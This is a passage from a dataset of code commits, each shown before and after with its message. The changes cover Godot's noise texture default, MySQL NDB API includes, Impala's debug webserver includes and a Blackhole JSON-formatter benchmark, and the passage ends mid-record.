\"get_width\");\n\tADD_PROPERTY(PropertyInfo(Variant::INT, \"height\", PROPERTY_HINT_RANGE, \"1,2048,1,or_greater\"), \"set_height\", \"get_height\");\n\tADD_PROPERTY(PropertyInfo(Variant::BOOL, \"seamless\"), \"set_seamless\", \"get_seamless\");\n\tADD_PROPERTY(PropertyInfo(Variant::BOOL, \"as_normalmap\"), \"set_as_normalmap\", \"is_normalmap\");\n\tADD_PROPERTY(PropertyInfo(Variant::REAL, \"bump_strength\", PROPERTY_HINT_RANGE, \"0,32,0.1,or_greater\"), \"set_bump_strength\", \"get_bump_strength\");\n\tADD_PROPERTY(PropertyInfo(Variant::OBJECT, \"noise\", PROPERTY_HINT_RESOURCE_TYPE, \"OpenSimplexNoise\"), \"set_noise\", \"get_noise\");\n}\n\nvoid NoiseTexture::_validate_property(PropertyInfo &property) const {\n\n\tif (property.name == \"bump_strength\") {\n\t\tif (!as_normalmap) {\n\t\t\tproperty.usage = PROPERTY_USAGE_NOEDITOR | PROPERTY_USAGE_INTERNAL;\n\t\t}\n\t}\n}\n\nvoid NoiseTexture::_set_texture_data(const Ref<Image> &p_image) {\n\tdata = p_image;\n\tif (data.is_valid()) {\n\t\tVS::get_singleton()->texture_allocate(texture, size.x, size.y, 0, Image::FORMAT_RGBA8, VS::TEXTURE_TYPE_2D, flags);\n\t\tVS::get_singleton()->texture_set_data(texture, p_image);\n\t}\n\temit_changed();\n}\n\nvoid NoiseTexture::_thread_done(const Ref<Image> &p_image) {\n\n\t_set_texture_data(p_image);\n\tThread::wait_to_finish(noise_thread);\n\tmemdelete(noise_thread);\n\tnoise_thread = NULL;\n\tif (regen_queued) {\n\t\tnoise_thread = Thread::create(_thread_function, this);\n\t\tregen_queued = false;\n\t}\n}\n\nvoid NoiseTexture::_thread_function(void *p_ud) {\n\tNoiseTexture *tex = (NoiseTexture *)p_ud;\n\ttex->call_deferred(\"_thread_done\", tex->_generate_texture());\n}\n\nvoid NoiseTexture::_queue_update() {\n\n\tif (update_queued)\n\t\treturn;\n\n\tupdate_queued = true;\n\tcall_deferred(\"_update_texture\");\n}\n\nRef<Image> NoiseTexture::_generate_texture() {\n\n\tupdate_queued = false;\n\n\tif (noise.is_null()) return Ref<Image>();\n\n\tRef<Image> image;\n\n\tif (seamless) {\n\t\timage = noise->get_seamless_image(size.x);\n\t} else {\n\t\timage = noise->get_image(size.x, size.y);\n\t}\n\n\tif (as_normalmap) {\n\t\timage->bumpmap_to_normalmap(bump_strength);\n\t}\n\n\treturn image;\n}\n\nvoid NoiseTexture::_update_texture() {\n\tbool use_thread = true;\n\tif (first_time) {\n\t\tuse_thread = false;\n\t\tfirst_time = false;\n\t}\n#ifdef NO_THREADS\n\tuse_thread = false;\n#endif\n\tif (use_thread) {\n\n\t\tif (!noise_thread) {\n\t\t\tnoise_thread = Thread::create(_thread_function, this);\n\t\t\tregen_queued = false;\n\t\t} else {\n\t\t\tregen_queued = true;\n\t\t}\n\n\t} else {\n\t\tRef<Image> image = _generate_texture();\n\t\t_set_texture_data(image);\n\t}\n}\n\nvoid NoiseTexture::set_noise(Ref<OpenSimplexNoise> p_noise) {\n\tif (p_noise == noise)\n\t\treturn;\n\tif (noise.is_valid()) {\n\t\tnoise->disconnect(CoreStringNames::get_singleton()->changed, this, \"_update_texture\");\n\t}\n\tnoise = p_noise;\n\tif (noise.is_valid()) {\n\t\tnoise->connect(CoreStringNames::get_singleton()->changed, this, \"_update_texture\");\n\t}\n\t_queue_update();\n}\n\nRef<OpenSimplexNoise> NoiseTexture::get_noise() {\n\treturn noise;\n}\n\nvoid NoiseTexture::set_width(int p_width) {\n\tif (p_width == size.x) return;\n\tsize.x = p_width;\n\t_queue_update();\n}\n\nvoid NoiseTexture::set_height(int p_height) {\n\tif (p_height == size.y) return;\n\tsize.y = p_height;\n\t_queue_update();\n}\n\nvoid NoiseTexture::set_seamless(bool p_seamless) {\n\tif (p_seamless == seamless) return;\n\tseamless = p_seamless;\n\t_queue_update();\n}\n\nbool NoiseTexture::get_seamless() {\n\treturn seamless;\n}\n\nvoid NoiseTexture::set_as_normalmap(bool p_as_normalmap) {\n\tif (p_as_normalmap == as_normalmap) return;\n\tas_normalmap = p_as_normalmap;\n\t_queue_update();\n\t_change_notify();\n}\n\nbool NoiseTexture::is_normalmap() {\n\treturn as_normalmap;\n}\n\nvoid NoiseTexture::set_bump_strength(float p_bump_strength) {\n\n\tif (p_bump_strength == bump_strength) return;\n\tbump_strength = p_bump_strength;\n\tif (as_normalmap)\n\t\t_queue_update();\n}\n\nfloat NoiseTexture::get_bump_strength() {\n\n\treturn bump_strength;\n}\n\nint NoiseTexture::get_width() const {\n\n\treturn size.x;\n}\n\nint NoiseTexture::get_height() const {\n\n\treturn size.y;\n}\n\nvoid NoiseTexture::set_flags(uint32_t p_flags) {\n\tflags = p_flags;\n\tVS::get_singleton()->texture_set_flags(texture, flags);\n}\n\nuint32_t NoiseTexture::get_flags() const {\n\treturn flags;\n}\n\nRef<Image> NoiseTexture::get_data() const {\n\n\treturn data;\n}\n<commit_msg>changed default noisetexture strength<commit_after>\/*************************************************************************\/\n\/*  noise_texture.cpp                                                    *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md)    *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"noise_texture.h\"\n\n#include \"core\/core_string_names.h\"\n\nNoiseTexture::NoiseTexture() {\n\tupdate_queued = false;\n\tnoise_thread = NULL;\n\tregen_queued = false;\n\tfirst_time = true;\n\n\tsize = Vector2i(512, 512);\n\tseamless = false;\n\tas_normalmap = false;\n\tbump_strength = 8.0;\n\tflags = FLAGS_DEFAULT;\n\n\tnoise = Ref<OpenSimplexNoise>();\n\n\ttexture = VS::get_singleton()->texture_create();\n\n\t_queue_update();\n}\n\nNoiseTexture::~NoiseTexture() {\n\tVS::get_singleton()->free(texture);\n}\n\nvoid NoiseTexture::_bind_methods() {\n\n\tClassDB::bind_method(D_METHOD(\"set_width\", \"width\"), &NoiseTexture::set_width);\n\tClassDB::bind_method(D_METHOD(\"set_height\", \"height\"), &NoiseTexture::set_height);\n\n\tClassDB::bind_method(D_METHOD(\"set_noise\", \"noise\"), &NoiseTexture::set_noise);\n\tClassDB::bind_method(D_METHOD(\"get_noise\"), &NoiseTexture::get_noise);\n\n\tClassDB::bind_method(D_METHOD(\"set_seamless\", \"seamless\"), &NoiseTexture::set_seamless);\n\tClassDB::bind_method(D_METHOD(\"get_seamless\"), &NoiseTexture::get_seamless);\n\n\tClassDB::bind_method(D_METHOD(\"set_as_normalmap\", \"as_normalmap\"), &NoiseTexture::set_as_normalmap);\n\tClassDB::bind_method(D_METHOD(\"is_normalmap\"), &NoiseTexture::is_normalmap);\n\n\tClassDB::bind_method(D_METHOD(\"set_bump_strength\", \"bump_strength\"), &NoiseTexture::set_bump_strength);\n\tClassDB::bind_method(D_METHOD(\"get_bump_strength\"), &NoiseTexture::get_bump_strength);\n\n\tClassDB::bind_method(D_METHOD(\"_update_texture\"), &NoiseTexture::_update_texture);\n\tClassDB::bind_method(D_METHOD(\"_generate_texture\"), &NoiseTexture::_generate_texture);\n\tClassDB::bind_method(D_METHOD(\"_thread_done\", \"image\"), &NoiseTexture::_thread_done);\n\n\tADD_PROPERTY(PropertyInfo(Variant::INT, \"width\", PROPERTY_HINT_RANGE, \"1,2048,1,or_greater\"), \"set_width\", \"get_width\");\n\tADD_PROPERTY(PropertyInfo(Variant::INT, \"height\", PROPERTY_HINT_RANGE, \"1,2048,1,or_greater\"), \"set_height\", \"get_height\");\n\tADD_PROPERTY(PropertyInfo(Variant::BOOL, \"seamless\"), \"set_seamless\", \"get_seamless\");\n\tADD_PROPERTY(PropertyInfo(Variant::BOOL, \"as_normalmap\"), \"set_as_normalmap\", \"is_normalmap\");\n\tADD_PROPERTY(PropertyInfo(Variant::REAL, \"bump_strength\", PROPERTY_HINT_RANGE, \"0,32,0.1,or_greater\"), \"set_bump_strength\", \"get_bump_strength\");\n\tADD_PROPERTY(PropertyInfo(Variant::OBJECT, \"noise\", PROPERTY_HINT_RESOURCE_TYPE, \"OpenSimplexNoise\"), \"set_noise\", \"get_noise\");\n}\n\nvoid NoiseTexture::_validate_property(PropertyInfo &property) const {\n\n\tif (property.name == \"bump_strength\") {\n\t\tif (!as_normalmap) {\n\t\t\tproperty.usage = PROPERTY_USAGE_NOEDITOR | PROPERTY_USAGE_INTERNAL;\n\t\t}\n\t}\n}\n\nvoid NoiseTexture::_set_texture_data(const Ref<Image> &p_image) {\n\tdata = p_image;\n\tif (data.is_valid()) {\n\t\tVS::get_singleton()->texture_allocate(texture, size.x, size.y, 0, Image::FORMAT_RGBA8, VS::TEXTURE_TYPE_2D, flags);\n\t\tVS::get_singleton()->texture_set_data(texture, p_image);\n\t}\n\temit_changed();\n}\n\nvoid NoiseTexture::_thread_done(const Ref<Image> &p_image) {\n\n\t_set_texture_data(p_image);\n\tThread::wait_to_finish(noise_thread);\n\tmemdelete(noise_thread);\n\tnoise_thread = NULL;\n\tif (regen_queued) {\n\t\tnoise_thread = Thread::create(_thread_function, this);\n\t\tregen_queued = false;\n\t}\n}\n\nvoid NoiseTexture::_thread_function(void *p_ud) {\n\tNoiseTexture *tex = (NoiseTexture *)p_ud;\n\ttex->call_deferred(\"_thread_done\", tex->_generate_texture());\n}\n\nvoid NoiseTexture::_queue_update() {\n\n\tif (update_queued)\n\t\treturn;\n\n\tupdate_queued = true;\n\tcall_deferred(\"_update_texture\");\n}\n\nRef<Image> NoiseTexture::_generate_texture() {\n\n\tupdate_queued = false;\n\n\tif (noise.is_null()) return Ref<Image>();\n\n\tRef<Image> image;\n\n\tif (seamless) {\n\t\timage = noise->get_seamless_image(size.x);\n\t} else {\n\t\timage = noise->get_image(size.x, size.y);\n\t}\n\n\tif (as_normalmap) {\n\t\timage->bumpmap_to_normalmap(bump_strength);\n\t}\n\n\treturn image;\n}\n\nvoid NoiseTexture::_update_texture() {\n\tbool use_thread = true;\n\tif (first_time) {\n\t\tuse_thread = false;\n\t\tfirst_time = false;\n\t}\n#ifdef NO_THREADS\n\tuse_thread = false;\n#endif\n\tif (use_thread) {\n\n\t\tif (!noise_thread) {\n\t\t\tnoise_thread = Thread::create(_thread_function, this);\n\t\t\tregen_queued = false;\n\t\t} else {\n\t\t\tregen_queued = true;\n\t\t}\n\n\t} else {\n\t\tRef<Image> image = _generate_texture();\n\t\t_set_texture_data(image);\n\t}\n}\n\nvoid NoiseTexture::set_noise(Ref<OpenSimplexNoise> p_noise) {\n\tif (p_noise == noise)\n\t\treturn;\n\tif (noise.is_valid()) {\n\t\tnoise->disconnect(CoreStringNames::get_singleton()->changed, this, \"_update_texture\");\n\t}\n\tnoise = p_noise;\n\tif (noise.is_valid()) {\n\t\tnoise->connect(CoreStringNames::get_singleton()->changed, this, \"_update_texture\");\n\t}\n\t_queue_update();\n}\n\nRef<OpenSimplexNoise> NoiseTexture::get_noise() {\n\treturn noise;\n}\n\nvoid NoiseTexture::set_width(int p_width) {\n\tif (p_width == size.x) return;\n\tsize.x = p_width;\n\t_queue_update();\n}\n\nvoid NoiseTexture::set_height(int p_height) {\n\tif (p_height == size.y) return;\n\tsize.y = p_height;\n\t_queue_update();\n}\n\nvoid NoiseTexture::set_seamless(bool p_seamless) {\n\tif (p_seamless == seamless) return;\n\tseamless = p_seamless;\n\t_queue_update();\n}\n\nbool NoiseTexture::get_seamless() {\n\treturn seamless;\n}\n\nvoid NoiseTexture::set_as_normalmap(bool p_as_normalmap) {\n\tif (p_as_normalmap == as_normalmap) return;\n\tas_normalmap = p_as_normalmap;\n\t_queue_update();\n\t_change_notify();\n}\n\nbool NoiseTexture::is_normalmap() {\n\treturn as_normalmap;\n}\n\nvoid NoiseTexture::set_bump_strength(float p_bump_strength) {\n\n\tif (p_bump_strength == bump_strength) return;\n\tbump_strength = p_bump_strength;\n\tif (as_normalmap)\n\t\t_queue_update();\n}\n\nfloat NoiseTexture::get_bump_strength() {\n\n\treturn bump_strength;\n}\n\nint NoiseTexture::get_width() const {\n\n\treturn size.x;\n}\n\nint NoiseTexture::get_height() const {\n\n\treturn size.y;\n}\n\nvoid NoiseTexture::set_flags(uint32_t p_flags) {\n\tflags = p_flags;\n\tVS::get_singleton()->texture_set_flags(texture, flags);\n}\n\nuint32_t NoiseTexture::get_flags() const {\n\treturn flags;\n}\n\nRef<Image> NoiseTexture::get_data() const {\n\n\treturn data;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#ifndef NdbApi_H\n#define NdbApi_H\n\n#include \"ndbapi_limits.h\"\n#include \"Ndb.hpp\"\n#include \"NdbConnection.hpp\"\n#include \"NdbOperation.hpp\"\n#include \"NdbScanOperation.hpp\"\n#include \"NdbIndexOperation.hpp\"\n#include \"NdbIndexScanOperation.hpp\"\n#include \"NdbScanFilter.hpp\"\n#include \"NdbRecAttr.hpp\"\n#include \"NdbResultSet.hpp\"\n#include \"NdbDictionary.hpp\"\n#include \"NdbEventOperation.hpp\"\n#include \"NdbPool.hpp\"\n#include \"NdbBlob.hpp\"\n#endif\n<commit_msg>NdbApi.hpp:   NdbApi.hpp to include ndb_inti.h and ndb_cluster_connecion.hpp<commit_after>\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#ifndef NdbApi_H\n#define NdbApi_H\n\n#include \"ndb_init.h\"\n#include \"ndb_cluster_connection.hpp\"\n#include \"ndbapi_limits.h\"\n#include \"Ndb.hpp\"\n#include \"NdbConnection.hpp\"\n#include \"NdbOperation.hpp\"\n#include \"NdbScanOperation.hpp\"\n#include \"NdbIndexOperation.hpp\"\n#include \"NdbIndexScanOperation.hpp\"\n#include \"NdbScanFilter.hpp\"\n#include \"NdbRecAttr.hpp\"\n#include \"NdbResultSet.hpp\"\n#include \"NdbDictionary.hpp\"\n#include \"NdbEventOperation.hpp\"\n#include \"NdbPool.hpp\"\n#include \"NdbBlob.hpp\"\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ (c) 2012 Cloudera, Inc. All rights reserved.\n#include <stdio.h>\n#include <string>\n#include <map>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/bind.hpp>\n#include <boost\/mem_fn.hpp>\n#include <gflags\/gflags.h>\n#include <glog\/logging.h>\n\n#include \"util\/webserver.h\"\n\nusing namespace std;\nusing namespace boost;\nusing namespace google;\n\nDEFINE_int32(webserver_port, 8080, \"Port to start debug webserver on\");\nDEFINE_string(webserver_interface, \"\",\n    \"Interface to start debug webserver on. If blank, webserver binds to 0.0.0.0\");\nDEFINE_bool(no_webserver, false, \"If true, debug webserver is not started\");\n\nnamespace impala {\n\nWebserver::Webserver()\n  : port_(FLAGS_webserver_port),\n    interface_(FLAGS_webserver_interface),\n    context_(NULL) {\n\n}\n\nWebserver::Webserver(const string& interface, const int port)\n  : port_(port),\n    interface_(interface) {\n\n}\n\nWebserver::~Webserver() {\n  Stop();\n}\n\nvoid Webserver::FlagsHandler(stringstream* output) {\n  (*output) << \"<pre>\" << CommandlineFlagsIntoString() << \"<\/pre>\";\n}\n\nvoid Webserver::RootHandler(stringstream* output) {\n  \/\/ path_handler_lock_ already held by MongooseCallback\n  BOOST_FOREACH(const PathHandlerMap::value_type& handler, path_handlers_) {\n    (*output) << \"<a href=\\\"\" << handler.first << \"\\\">\" << handler.first << \"<\/a><br\/>\";\n  }\n}\n\nStatus Webserver::Start() {\n  if (FLAGS_no_webserver) {\n    VLOG(1) << \"Not starting webserver\";\n    return Status::OK;\n  }\n\n  VLOG(1) << \"Starting webserver on \" << interface_\n          << (interface_.empty() ? \"all interfaces, port \" : \":\") << port_;\n\n  string port_as_string = boost::lexical_cast<string>(port_);\n  stringstream listening_spec;\n  listening_spec << interface_ << (interface_.empty() ? \"\" : \":\") << port_as_string;\n  const char* options[] = {\"listening_ports\", listening_spec.str().c_str(), NULL};\n\n  \/\/ To work around not being able to pass member functions as C callbacks, we store a\n  \/\/ pointer to this server in the per-server state, and register a static method as the\n  \/\/ default callback. That method unpacks the pointer to this and calls the real\n  \/\/ callback.\n  context_ = mg_start(&Webserver::MongooseCallbackStatic, reinterpret_cast<void*>(this),\n      options);\n\n  if (context_ == NULL) {\n    stringstream error_msg;\n    error_msg << \"Could not start webserver on port: \" << port_;\n    return Status(error_msg.str());\n  }\n\n  PathHandlerCallback default_callback =\n      bind<void>(mem_fn(&Webserver::RootHandler), this, _1);\n\n  RegisterPathHandler(\"\/\", default_callback);\n\n  PathHandlerCallback flags_callback =\n      bind<void>(mem_fn(&Webserver::FlagsHandler), this, _1);\n\n  RegisterPathHandler(\"\/flags\", flags_callback);\n\n  VLOG(1) << \"Webserver started\";\n  return Status::OK;\n}\n\nvoid Webserver::Stop() {\n  if (context_ != NULL) mg_stop(context_);\n}\n\nvoid* Webserver::MongooseCallbackStatic(enum mg_event event,\n    struct mg_connection* connection, const struct mg_request_info* request_info) {\n  Webserver* instance = reinterpret_cast<Webserver*>(request_info->user_data);\n  return instance->MongooseCallback(event, connection, request_info);\n}\n\n\/\/ Mongoose requires a non-null return from the callback to signify successful processing\nstatic void* PROCESSING_COMPLETE = reinterpret_cast<void*>(1);\n\nvoid* Webserver::MongooseCallback(enum mg_event event, struct mg_connection* connection,\n    const struct mg_request_info* request_info) {\n  if (event == MG_NEW_REQUEST) {\n    mutex::scoped_lock lock(path_handlers_lock_);\n    PathHandlerMap::const_iterator it = path_handlers_.find(request_info->uri);\n    if (it == path_handlers_.end()) {\n      mg_printf(connection, \"HTTP\/1.1 404 Not Found\\r\\n\"\n                            \"Content-Type: text\/plain\\r\\n\\r\\n\");\n      mg_printf(connection, \"No handler for URI %s\\r\\n\\r\\n\", request_info->uri);\n      return PROCESSING_COMPLETE;\n    }\n\n    mg_printf(connection, \"HTTP\/1.1 200 OK\\r\\n\"\n              \"Content-Type: text\/html\\r\\n\\r\\n\");\n    \/\/ TODO: Consider adding simple HTML boilerplate, e.g. <html><body> ... <\/body><\/html>\n    stringstream output;\n    BOOST_FOREACH(const PathHandlerCallback& callback, it->second) {\n      callback(&output);\n    }\n\n    mg_printf(connection, \"%s\", output.str().c_str());\n    return PROCESSING_COMPLETE;\n  } else {\n    return NULL;\n  }\n}\n\nvoid Webserver::RegisterPathHandler(const std::string& path,\n   const PathHandlerCallback& callback) {\n  mutex::scoped_lock lock(path_handlers_lock_);\n  \/\/ operator [] constructs an entry if one does not exist\n  path_handlers_[path].push_back(callback);\n}\n\n}\n<commit_msg>Fix linking errors in webserver<commit_after>\/\/ (c) 2012 Cloudera, Inc. All rights reserved.\n#include <stdio.h>\n#include <string>\n#include <map>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/foreach.hpp>\n#include <boost\/bind.hpp>\n#include <boost\/mem_fn.hpp>\n#include <glog\/logging.h>\n#include <gflags\/gflags.h>\n\n#include \"util\/webserver.h\"\n\nusing namespace std;\nusing namespace boost;\nusing namespace google;\n\nDEFINE_int32(webserver_port, 8080, \"Port to start debug webserver on\");\nDEFINE_string(webserver_interface, \"\",\n    \"Interface to start debug webserver on. If blank, webserver binds to 0.0.0.0\");\nDEFINE_bool(no_webserver, false, \"If true, debug webserver is not started\");\n\nnamespace impala {\n\nWebserver::Webserver()\n  : port_(FLAGS_webserver_port),\n    interface_(FLAGS_webserver_interface),\n    context_(NULL) {\n\n}\n\nWebserver::Webserver(const string& interface, const int port)\n  : port_(port),\n    interface_(interface) {\n\n}\n\nWebserver::~Webserver() {\n  Stop();\n}\n\nvoid Webserver::FlagsHandler(stringstream* output) {\n  (*output) << \"<pre>\" << CommandlineFlagsIntoString() << \"<\/pre>\";\n}\n\nvoid Webserver::RootHandler(stringstream* output) {\n  \/\/ path_handler_lock_ already held by MongooseCallback\n  BOOST_FOREACH(const PathHandlerMap::value_type& handler, path_handlers_) {\n    (*output) << \"<a href=\\\"\" << handler.first << \"\\\">\" << handler.first << \"<\/a><br\/>\";\n  }\n}\n\nStatus Webserver::Start() {\n  if (FLAGS_no_webserver) {\n    VLOG(1) << \"Not starting webserver\";\n    return Status::OK;\n  }\n\n  VLOG(1) << \"Starting webserver on \" << interface_\n          << (interface_.empty() ? \"all interfaces, port \" : \":\") << port_;\n\n  string port_as_string = boost::lexical_cast<string>(port_);\n  stringstream listening_spec;\n  listening_spec << interface_ << (interface_.empty() ? \"\" : \":\") << port_as_string;\n  const char* options[] = {\"listening_ports\", listening_spec.str().c_str(), NULL};\n\n  \/\/ To work around not being able to pass member functions as C callbacks, we store a\n  \/\/ pointer to this server in the per-server state, and register a static method as the\n  \/\/ default callback. That method unpacks the pointer to this and calls the real\n  \/\/ callback.\n  context_ = mg_start(&Webserver::MongooseCallbackStatic, reinterpret_cast<void*>(this),\n      options);\n\n  if (context_ == NULL) {\n    stringstream error_msg;\n    error_msg << \"Could not start webserver on port: \" << port_;\n    return Status(error_msg.str());\n  }\n\n  PathHandlerCallback default_callback =\n      bind<void>(mem_fn(&Webserver::RootHandler), this, _1);\n\n  RegisterPathHandler(\"\/\", default_callback);\n\n  PathHandlerCallback flags_callback =\n      bind<void>(mem_fn(&Webserver::FlagsHandler), this, _1);\n\n  RegisterPathHandler(\"\/flags\", flags_callback);\n\n  VLOG(1) << \"Webserver started\";\n  return Status::OK;\n}\n\nvoid Webserver::Stop() {\n  if (context_ != NULL) mg_stop(context_);\n}\n\nvoid* Webserver::MongooseCallbackStatic(enum mg_event event,\n    struct mg_connection* connection, const struct mg_request_info* request_info) {\n  Webserver* instance = reinterpret_cast<Webserver*>(request_info->user_data);\n  return instance->MongooseCallback(event, connection, request_info);\n}\n\n\/\/ Mongoose requires a non-null return from the callback to signify successful processing\nstatic void* PROCESSING_COMPLETE = reinterpret_cast<void*>(1);\n\nvoid* Webserver::MongooseCallback(enum mg_event event, struct mg_connection* connection,\n    const struct mg_request_info* request_info) {\n  if (event == MG_NEW_REQUEST) {\n    mutex::scoped_lock lock(path_handlers_lock_);\n    PathHandlerMap::const_iterator it = path_handlers_.find(request_info->uri);\n    if (it == path_handlers_.end()) {\n      mg_printf(connection, \"HTTP\/1.1 404 Not Found\\r\\n\"\n                            \"Content-Type: text\/plain\\r\\n\\r\\n\");\n      mg_printf(connection, \"No handler for URI %s\\r\\n\\r\\n\", request_info->uri);\n      return PROCESSING_COMPLETE;\n    }\n\n    mg_printf(connection, \"HTTP\/1.1 200 OK\\r\\n\"\n              \"Content-Type: text\/html\\r\\n\\r\\n\");\n    \/\/ TODO: Consider adding simple HTML boilerplate, e.g. <html><body> ... <\/body><\/html>\n    stringstream output;\n    BOOST_FOREACH(const PathHandlerCallback& callback, it->second) {\n      callback(&output);\n    }\n\n    mg_printf(connection, \"%s\", output.str().c_str());\n    return PROCESSING_COMPLETE;\n  } else {\n    return NULL;\n  }\n}\n\nvoid Webserver::RegisterPathHandler(const std::string& path,\n   const PathHandlerCallback& callback) {\n  mutex::scoped_lock lock(path_handlers_lock_);\n  \/\/ operator [] constructs an entry if one does not exist\n  path_handlers_[path].push_back(callback);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <benchmark\/benchmark.h>\n\n#include <blackhole\/attribute.hpp>\n#include <blackhole\/attributes.hpp>\n#include <blackhole\/cpp17\/string_view.hpp>\n#include <blackhole\/extensions\/writer.hpp>\n#include <blackhole\/formatter\/json.hpp>\n#include <blackhole\/record.hpp>\n\n#include \"mod.hpp\"\n\nnamespace blackhole {\nnamespace benchmark {\n\nusing ::blackhole::formatter::json_t;\n\nstatic void format_json(::benchmark::State& state) {\n    json_t formatter;\n\n    const string_view message(\"value\");\n    const attribute_pack pack;\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nstatic void format_json_message_routed(::benchmark::State& state) {\n    auto formatter = json_t::builder_t()\n        .route(\"\/fields\", {\"message\"})\n        .build();\n\n    const string_view message(\"value\");\n    const attribute_pack pack;\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nstatic void format_json_message_routed_attr(::benchmark::State& state) {\n    auto formatter = json_t::builder_t()\n        .route(\"\/fields\", {\"endpoint\"})\n        .build();\n\n    const string_view message(\"value\");\n    const attribute_list attributes{{\"endpoint\", \"127.0.0.1:8080\"}};\n    const attribute_pack pack{attributes};\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nNBENCHMARK(\"formatter.json\", format_json);\nNBENCHMARK(\"formatter.json[route]\", format_json_message_routed);\nNBENCHMARK(\"formatter.json[route + attr: 1]\", format_json_message_routed_attr);\n\n}  \/\/ namespace benchmark\n}  \/\/ namespace blackhole\n<commit_msg>feat(bench): add real-world example<commit_after>#include <benchmark\/benchmark.h>\n\n#include <blackhole\/attribute.hpp>\n#include <blackhole\/attributes.hpp>\n#include <blackhole\/cpp17\/string_view.hpp>\n#include <blackhole\/extensions\/writer.hpp>\n#include <blackhole\/formatter\/json.hpp>\n#include <blackhole\/record.hpp>\n\n#include \"mod.hpp\"\n\nnamespace blackhole {\nnamespace benchmark {\n\nusing ::blackhole::formatter::json_t;\n\nstatic void format_json(::benchmark::State& state) {\n    json_t formatter;\n\n    const string_view message(\"value\");\n    const attribute_pack pack;\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nstatic void format_json_message_routed(::benchmark::State& state) {\n    auto formatter = json_t::builder_t()\n        .route(\"\/fields\", {\"message\"})\n        .build();\n\n    const string_view message(\"value\");\n    const attribute_pack pack;\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nstatic void format_json_message_routed_attr(::benchmark::State& state) {\n    auto formatter = json_t::builder_t()\n        .route(\"\/fields\", {\"endpoint\"})\n        .build();\n\n    const string_view message(\"value\");\n    const attribute_list attributes{{\"endpoint\", \"127.0.0.1:8080\"}};\n    const attribute_pack pack{attributes};\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nstatic void format_json_message_routed_attr5(::benchmark::State& state) {\n    auto formatter = json_t::builder_t()\n        .route(\"\/fields\", {\"endpoint\", \"severity\", \"process\", \"thread\"})\n        .build();\n\n    const string_view message(\"registering component 'storage' in category 'cocaine::api::service_t'\");\n    const attribute_list attributes{\n        {\"endpoint\",  \"127.0.0.1:8080\"},\n        {\"source\",    \"app\/testing\"   },\n        {\"requestid\", 100500          },\n        {\"spanid\",    0               },\n        